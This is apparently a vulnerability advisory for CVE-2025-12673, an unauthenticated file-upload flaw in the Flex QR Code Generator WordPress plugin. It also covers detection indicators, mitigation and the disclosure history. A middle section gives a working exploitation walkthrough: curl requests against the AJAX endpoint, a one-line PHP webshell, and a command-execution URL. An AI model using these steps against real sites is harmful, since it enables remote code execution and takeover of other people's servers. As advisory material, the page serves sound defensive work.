CVE-2025-12673: 
WordPress vulnerability analysis and mitigation

CVE-2025-12673 is an unauthenticated arbitrary file upload vulnerability in the Flex QR Code Generator plugin for WordPress, affecting all versions up to and including 1.2.7. The flaw exists in the update_qr_code() function, which lacks file type validation, enabling unauthenticated attackers to upload arbitrary files — including executable PHP scripts — potentially leading to remote code execution. It was published on December 6, 2025, and assigned a CVSS v3.1 base score of 9.8 (Critical) (Feedly, ENISA EUVD).

The root cause is classified as CWE-434 (Unrestricted Upload of File with Dangerous Type). The plugin registers its update_qr_code() AJAX handler for both authenticated and unauthenticated users via wp_ajax_nopriv_flexqr_update_qr, meaning any visitor can reach the endpoint without credentials. The function accepts a file upload via the logo parameter, extracts only the file extension from the original filename, and passes it directly to move_uploaded_file() without any MIME type check, extension allowlist, or permission verification — allowing PHP webshells or other executable files to be written to the WordPress uploads directory (GitHub PoC, Wordfence).

Successful exploitation allows an unauthenticated remote attacker to upload arbitrary files, including PHP webshells, to the server's WordPress uploads directory. Once a webshell is uploaded, the attacker can achieve full remote code execution under the web server's process account, enabling unauthorized access to sensitive data, website defacement, installation of backdoors, and lateral movement to other systems on the same network (Feedly, GitHub PoC).

A public proof-of-concept exploit is available on GitHub, demonstrating the full attack chain from webshell upload to command execution using a simple curl command (GitHub PoC). No authentication or special privileges are required, making exploitation trivial for any attacker who can reach the WordPress site. As of the time of reporting, there is no confirmed evidence of active in-the-wild exploitation, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.139%, reflecting low but non-negligible exploitation probability (Feedly).

1. Reconnaissance: Identify WordPress sites running the Flex QR Code Generator plugin (versions ≤ 1.2.7) using tools like WPScan, Shodan, or by checking /wp-content/plugins/flex-qr-code-generator/ for a publicly accessible readme.txt.
2. Enumerate QR code IDs: Send an unauthenticated POST request to discover existing QR code record IDs:

   curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
     -d "action=flexqr_fetch_qr_code" \
     -d "per_page=10" \
     -d "page=1"

3. Prepare malicious payload: Create a PHP webshell file locally:

   echo '<?php system($_GET["cmd"]); ?>' > shell.php

4. Upload the webshell: Submit the file to the unauthenticated AJAX endpoint using a valid QR code ID (e.g., 1):

   curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
     -F "action=flexqr_update_qr" \
     -F "qrId=1" \
     -F "qrData={\"data\":\"https://example.com\"}" \
     -F "logo=@shell.php"

5. Locate the uploaded file: The file is stored in the WordPress uploads directory with the naming pattern shell_1.php (original filename + _ + qrId + extension).
6. Execute commands: Access the webshell via browser or curl to run arbitrary OS commands:

   https://victimsite.com/wp-content/uploads/YYYY/MM/shell_1.php?cmd=whoami

   (GitHub PoC)

• Network: Unexpected POST requests to /wp-admin/admin-ajax.php with action=flexqr_update_qr from unauthenticated (non-logged-in) sources; multipart form-data uploads containing .php or other executable file extensions in the logo field.
• File System: Presence of unexpected .php files in the WordPress uploads directory (e.g., /wp-content/uploads/YYYY/MM/*.php), particularly files matching the pattern <name>_<id>.php.
• Logs: Web server access logs showing POST requests to admin-ajax.php with flexqr_update_qr action followed shortly by GET requests to files in the uploads directory with query parameters like ?cmd=; PHP error logs showing execution of uploaded scripts.
• Process: Unusual child processes spawned by the web server process (e.g., apache2, nginx, php-fpm) such as sh, bash, curl, wget, or python with unexpected arguments. (GitHub PoC, Wordfence)

WordPress site administrators should immediately update the Flex QR Code Generator plugin to a version beyond 1.2.7 that addresses this vulnerability, or disable the plugin entirely if it is not critically needed (Wordfence). As a server-level workaround, configure the web server to deny execution of PHP files within the WordPress uploads directory (e.g., via .htaccess rules or Nginx location blocks). Additionally, conduct a security audit of the uploads directory for any previously uploaded malicious files, and monitor server logs for signs of exploitation.

The vulnerability was discovered and disclosed by researcher Ryan Kozak, who published a detailed write-up at ryankozak.com and a public PoC repository on GitHub (GitHub PoC). Wordfence included it in their threat intelligence feed, and it was picked up by aggregators including Vulners, ENISA EUVD, and CISA's weekly vulnerability bulletin (CISA Bulletin). Community discussion was noted on Bluesky and Mastodon/infosec.exchange shortly after disclosure, reflecting standard awareness-level engagement for a critical WordPress plugin vulnerability.